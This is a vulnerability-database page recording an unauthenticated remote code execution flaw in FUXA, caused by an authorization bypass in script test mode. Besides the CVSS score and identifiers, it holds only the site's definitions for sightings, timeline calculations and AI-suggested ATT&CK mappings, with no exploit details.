      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "FUXA Vulnerable to Unauthenticated Remote Code Execution via Script Test Mode Authorization Bypass"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

Order JSON

How durations are calculated

Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.

Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.

Publication & reservation Sightings KEV catalogs Other timestamps

Loading timeline…

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-43947 (GCVE-0-2026-43947)

FKIE_CVE-2026-43947

GHSA-RG3M-CFQ7-G6H6

Summary

Details

PoC

Impact

Tags

Sightings

Nomenclature

Vulnerability timeline

Related by attack behaviour